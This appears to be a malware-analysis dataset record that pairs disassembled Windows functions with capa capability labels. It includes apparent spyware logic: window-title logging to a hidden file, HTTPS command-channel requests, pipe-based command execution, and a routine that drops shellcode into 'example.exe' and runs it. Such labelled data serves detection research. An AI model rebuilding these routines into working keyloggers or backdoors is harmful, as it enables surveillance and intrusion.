joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6a941b4e
Capabilities:
Create process on windows
Terminate process

Disassembly:
push r12
push rdi
sub rsp, 0xd8
mov r12, rcx
mov rcx, qword [0x6a94d0c8]
call sub.gdiplus.dll_GdiplusShutdown
lea rdx, [rsp + 0x68]
xor eax, eax
xor r9d, r9d
lea r8, [rsp + 0x50]
mov rdi, rdx
mov ecx, 0x1a
rep stosd dword [rdi], eax
mov rdi, r8
mov ecx, 6
rep stosd dword [rdi], eax
mov qword [rsp + 0x48], r8
xor r8d, r8d
mov qword [rsp + 0x40], rdx
mov rdx, r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov r12, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r12
mov rcx, qword [rsp + 0x58]
call r12
mov rcx, qword [0x6a94d0c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x6a942097
Capabilities:
Get file attributes
Get graphical window text
Set file attributes

Disassembly:
push r15
push r14
push r13
push r12
sub rsp, 0x708
mov rdx, qword [0x6a94d040]
mov r8d, 5
lea r12, [rsp + 0x130]
mov r14, rcx
mov rcx, r12
call fcn.6a945220
mov rcx, qword [0x6a94d040]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 2
je 0x6a9420e3
test byte [rsp + 0x218], 5
je 0x6a9420f7
jmp 0x6a942118
or eax, 2
mov rcx, qword [0x6a94d040]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x6a9420d7
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
test rax, rax
jne 0x6a942131
mov rdx, r14
mov rcx, r12
call fcn.6a945128
mov rcx, r12
call fcn.6a945228
mov rcx, r12
call fcn.6a945210
nop
add rsp, 0x708
pop r12
pop r13
pop r14
pop r15
ret
lea r15, [rsp + 0x300]
mov r8d, 0x400
mov rdx, r15
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rdx, [rsp + 0x40]
lea r13, [rsp + 0x30]
cdqe
xor r9d, r9d
mov qword [rsp + 0x30], rdx
lea r8, [r15 + rax]
mov rdx, r15
mov rcx, r13
call fcn.6a947160
mov rdx, r13
lea rcx, [0x6a94d080]
call fcn.6a945188
mov rcx, r13
call fcn.6a9451f8
lea rdx, [0x6a94d060]
lea rcx, [0x6a94d080]
call fcn.6a9471e0
test al, al
jne 0x6a942105
lea rdx, [0x6a94d080]
lea rcx, [0x6a94d060]
call fcn.6a9451b0
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x28]
call qword [sym.imp.msvcrt.dll__localtime64]
mov edx, 0x100
mov rcx, r13
mov r9, rax
lea r8, [0x6a9490f7]
call sub.msvcrt.dll_strftime
lea rdx, [0x6a9490fa]
mov rcx, r12
call fcn.6a945128
mov rcx, rax
lea rdx, [0x6a94d080]
call fcn.6a945120
mov rcx, rax
lea rdx, str._____
call fcn.6a945128
mov rcx, rax
mov rdx, r13
call fcn.6a945128
mov rcx, rax
lea rdx, [0x6a949104]
call fcn.6a945128
jmp 0x6a942105
Function at 0x6a942fa1
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push r14
mov eax, 0x13d0
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.6a946690
sub rsp, rax
mov r13, rcx
mov esi, edx
lea rax, [rsp + 0x30]
mov byte [rsp + 0x30], 0
lea r12, [rsp + 0xa08]
lea rdx, str.mt19937
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0
mov rcx, r12
call fcn.6a942f6e
lea r14, [rsp + 0x40]
mov rdx, r12
mov rcx, r14
call fcn.6a945250
mov rcx, r12
call fcn.6a9451f8
mov rcx, r14
call fcn.6a945248
mov dword [rsp + 0xa08], eax
mov edx, 1
jmp 0x6a94302d
mov eax, dword [r12 + rdx*4 - 4]
mov ecx, eax
shr ecx, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add eax, edx
mov dword [r12 + rdx*4], eax
inc rdx
cmp rdx, 0x270
jne 0x6a94302d
xor ebx, ebx
mov edi, 0x9d89d89
lea rbp, [rsp + 0x20]
mov qword [rsp + 0x13c8], 0x270
cmp ebx, esi
jge 0x6a94308d
mov rcx, r12
call fcn.6a946d90
cmp eax, 0xffffffe9
ja 0x6a94306d
xor edx, edx
mov rcx, rbp
div edi
lea edx, [rax + 0x61]
call fcn.6a9451a0
inc ebx
jmp 0x6a943069
lea r12, [rsp + 0x20]
lea rdx, str.____
mov rcx, r13
mov r8, r12
call fcn.6a9472f0
mov rcx, r12
call fcn.6a9451f8
mov rax, r13
add rsp, 0x13d0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x6a94376b
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x478
mov rbp, rcx
mov rdi, rdx
mov rbx, r8
mov esi, r9d
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.HTTP_1.1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x6a94397d
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
mov r8d, 0x1bb
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov rdx, qword [rbp]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
jne 0x6a94380a
mov rcx, r12
mov r12d, 0xe5
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x6a943998
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
lea rdx, [0x6a9496e9]
mov dword [rsp + 0x30], 0x80800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, qword [rdi]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
jne 0x6a943867
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call rbx
mov rcx, r12
mov r12d, 0xe4
call rbx
jmp 0x6a943998
imul esi, esi, 0x3e8
lea r15, [rsp + 0x50]
mov r9d, 4
mov rcx, rax
lea r8, [rsp + 0x48]
mov edx, 6
mov dword [rsp + 0x48], esi
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea rdx, str.Content_Type:_text_html_r_n
mov rcx, r15
call fcn.6a942f6e
mov rax, qword [rsp + 0x58]
xor r9d, r9d
mov rcx, r13
mov dword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x50]
lea r8d, [rax - 1]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x6a9438f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, eax
mov rcx, r13
call rsi
mov rcx, r14
call rsi
mov rcx, r12
call rsi
xor r12d, r12d
cmp ebx, 0x2ee2
sete r12b
lea r12d, [r12*4 + 0xe3]
jmp 0x6a943973
mov rax, qword [rbx]
lea rdi, [rsp + 0x4c]
lea rsi, [rsp + 0x70]
mov qword [rbx + 8], 0
mov rbp, qword [sym.imp.WININET.dll_InternetReadFile]
mov byte [rax], 0
mov dword [rsp + 0x4c], 0
mov r9, rdi
mov r8d, 0x3ff
mov rdx, rsi
mov rcx, r13
call rbp
test eax, eax
je 0x6a943957
mov eax, dword [rsp + 0x4c]
test eax, eax
je 0x6a943957
mov rdx, rsi
mov rcx, rbx
mov byte [rsp + rax + 0x70], 0
call fcn.6a945178
mov dword [rsp + 0x4c], 0
jmp 0x6a943920
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov r12d, 0xe8
mov rcx, r15
call fcn.6a9451f8
jmp 0x6a943998
mov r12d, 0xe6
jmp 0x6a943998
mov eax, r12d
add rsp, 0x478
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x6a9439af
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x478
lea r15, [rsp + 0x50]
mov rbp, rcx
mov rdi, rdx
mov rsi, r8
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, r15
mov rbx, r9
call fcn.6a942f6e
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov dword [rsp + 0x20], 0
lea rcx, str.HTTP_1.1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x6a943bb6
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
mov r8d, 0x1bb
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov rdx, qword [rbp]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
jne 0x6a943a62
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r12d, 0xe5
jmp 0x6a943bd1
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
lea rdx, str.POST
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8, qword [rdi]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
jne 0x6a943abf
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov r12d, 0xe4
jmp 0x6a943bd1
mov dword [rsp + 0x48], 0xea60
mov r9d, 4
lea r8, [rsp + 0x48]
mov rcx, rax
mov edx, 6
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [rsi + 8]
mov r8d, dword [rsp + 0x58]
mov rcx, r13
mov rdx, qword [rsp + 0x50]
mov dword [rsp + 0x20], eax
mov r9, qword [rsi]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x6a943b3a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, eax
mov rcx, r13
call rsi
mov rcx, r14
call rsi
mov rcx, r12
call rsi
xor r12d, r12d
cmp ebx, 0x2ee2
sete r12b
lea r12d, [r12*4 + 0xe3]
jmp 0x6a943bd1
mov rax, qword [rbx]
lea rdi, [rsp + 0x4c]
lea rsi, [rsp + 0x70]
mov qword [rbx + 8], 0
mov rbp, qword [sym.imp.WININET.dll_InternetReadFile]
mov byte [rax], 0
mov dword [rsp + 0x4c], 0
mov r9, rdi
mov r8d, 0x3ff
mov rdx, rsi
mov rcx, r13
call rbp
test eax, eax
je 0x6a943b98
mov eax, dword [rsp + 0x4c]
test eax, eax
je 0x6a943b98
mov rdx, rsi
mov rcx, rbx
mov byte [rsp + rax + 0x70], 0
call fcn.6a945178
mov dword [rsp + 0x4c], 0
jmp 0x6a943b61
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, r14
call rbx
mov rcx, r12
call rbx
mov r12d, 0xe8
jmp 0x6a943bd1
mov r12d, 0xe6
jmp 0x6a943bd1
mov rcx, r15
call fcn.6a9451f8
mov eax, r12d
add rsp, 0x478
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x6a943bf0
Capabilities:
Get session user name

Disassembly:
push r13
push r12
sub rsp, 0x138
mov r12, rcx
lea r13, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov dword [rsp + 0x2c], 0x100
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rdx, r13
mov rcx, r12
call fcn.6a942f6e
mov rax, r12
add rsp, 0x138
pop r12
pop r13
ret
Function at 0x6a943c33
Capabilities:
Create pipe
Create process on windows
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x528
xor esi, esi
xor r9d, r9d
mov eax, esi
lea r8, [rsp + 0x68]
mov r12, rcx
mov ecx, 6
mov rbx, rdx
mov rdi, r8
lea rdx, [rsp + 0x60]
rep stosd dword [rdi], eax
mov dword [rsp + 0x68], 0x18
lea rcx, [rsp + 0x58]
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rdx, str.CreatePipe___failed_n
test eax, eax
je 0x6a943d3c
mov edx, 1
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rdx, str.SetHandleInformation___failed_n
test eax, eax
je 0x6a943d3c
lea rdx, [rsp + 0xb8]
mov eax, esi
xor r9d, r9d
xor r8d, r8d
mov rdi, rdx
mov ecx, 0x16
rep stosd dword [rdi], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov rdx, qword [rbx]
mov dword [rsp + 0xb8], 0x68
mov dword [rsp + 0xf4], 0x100
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x6a943d49
lea rdx, str.CreateProcess___failed_n
mov rcx, r12
call fcn.6a942f6e
jmp 0x6a943e11
mov rcx, qword [rsp + 0x60]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdi, [rsp + 0x54]
lea rsi, [rsp + 0x120]
call rbx
lea rax, [rsp + 0xa8]
mov rbp, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x98], rax
mov byte [rsp + 0xa8], 0
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x58]
mov r9, rdi
mov rdx, rsi
mov r8d, 0x400
lea r13, [rsp + 0x98]
call rbp
test eax, eax
je 0x6a943dce
mov r8d, dword [rsp + 0x54]
test r8d, r8d
je 0x6a943dce
mov rdx, rsi
mov rcx, r13
call fcn.6a9451d8
jmp 0x6a943d8f
mov rcx, qword [rsp + 0x80]
call rbx
mov rcx, qword [rsp + 0x88]
call rbx
mov rcx, qword [rsp + 0x58]
call rbx
mov rcx, r12
mov rdx, r13
call fcn.6a945198
mov rcx, r13
call fcn.6a9451f8
jmp 0x6a943e11
mov rax, r12
add rsp, 0x528
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x6a944023
Capabilities:
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
sub rsp, 0xa8
lea r13, [rsp + 0x60]
lea r14, [rsp + 0x20]
mov rcx, r13
call sym.main.dll_get_exe_name_abi:cxx11___
lea rdx, [0x6a9491a7]
mov rcx, r14
call fcn.6a942f6e
lea rcx, str.TEMP
lea r15, [rsp + 0x40]
call sub.msvcrt.dll_getenv
mov r8, r14
mov rcx, r15
mov rdx, rax
call fcn.6a9472c0
lea r12, [rsp + 0x80]
mov r8, r13
mov rdx, r15
mov rcx, r12
call fcn.6a947240
mov rdx, r12
lea rcx, [0x6a94d040]
call fcn.6a945188
mov rcx, r12
call fcn.6a9451f8
mov rcx, r15
call fcn.6a9451f8
mov rcx, r14
call fcn.6a9451f8
mov rcx, r13
call fcn.6a9451f8
or r8, 0xffffffffffffffff
lea rdx, [0x6a9491b9]
lea rcx, [0x6a94d040]
call fcn.6a9452a8
cmp rax, 0xffffffffffffffff
je 0x6a94412b
lea rdx, [rax + 1]
or r8, 0xffffffffffffffff
lea rcx, [0x6a94d040]
call fcn.6a9451e8
lea rdx, [0x6a949794]
lea rcx, [0x6a94d040]
call fcn.6a9451e0
jmp 0x6a94412b
add rsp, 0xa8
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x6a945650
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.6a946930
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.6a946930
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x6a9456c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x6a94d6c4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x6a945868
mov rax, qword [0x6a94d6c8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x6a94570c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x6a945797
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x6a9456f0
mov rcx, r12
call fcn.6a9463c0
mov rbp, rax
test rax, rax
je 0x6a9458a2
mov rax, qword [0x6a94d6c8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.6a9464f0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6a94d6c8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6a9458b1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x6a945790
sub eax, 4
and eax, 0xfffffffb
jne 0x6a945820
add dword [0x6a94d6c4], 1
cmp ebx, 8
jae 0x6a9457c8
test bl, 4
jne 0x6a945870
test ebx, ebx
je 0x6a9457b9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x6a945890
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x6a9457b9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x6a9457fa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x6a94d6c8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6a945790
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.6a945650
nop dword [rax]
xor edi, edi
jmp 0x6a945717
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x6a9457b9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x6a9457b9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.6a945650
mov rax, qword [0x6a94d6c8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.6a945650
nop
nop dword [rax]
Function at 0x6a946030
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6a94d9a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6a94d980]
test rbx, rbx
je 0x6a946084
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x6a94607b
test r12, r12
je 0x6a94607b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6a946060
lea rcx, [0x6a94d9a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6a9463c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x6a949ad0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x6a946439
mov rcx, r10
call fcn.6a946290
test eax, eax
je 0x6a946439
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x6a946436
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x6a94642d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x6a946439
add r8, 0x28
cmp r8, r9
jne 0x6a946418
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004410]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004420]
mov dword [rax], 1
mov rax, qword [0x140004430]
mov dword [rax], 1
mov rax, qword [0x1400043b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004400]
mov dword [0x140007020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400044d0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400044b0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004360]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001530
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call sym.__main
movabs rax, 0x2e656c706d617865
mov qword [rbp - 0x14], rax
mov dword [rbp - 0xc], 0x657865
lea rax, [rbp - 0x14]
lea rdx, section..rdata
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
movabs rax, 0x80cd9ab06850c031
mov qword [rbp - 0x1c], rax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0x1c]
mov r9, rdx
mov r8d, 1
mov edx, 8
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
lea rax, str.example.exe
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x1400018f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001960
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070b4]
mov rbx, rcx
test esi, esi
jle 0x140001a90
mov rax, qword [0x1400070b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400019ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001990
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ab2
mov rax, qword [0x1400070b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001a2e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001a40
add dword [0x1400070b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400019b8
mov rax, qword [0x1400070b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]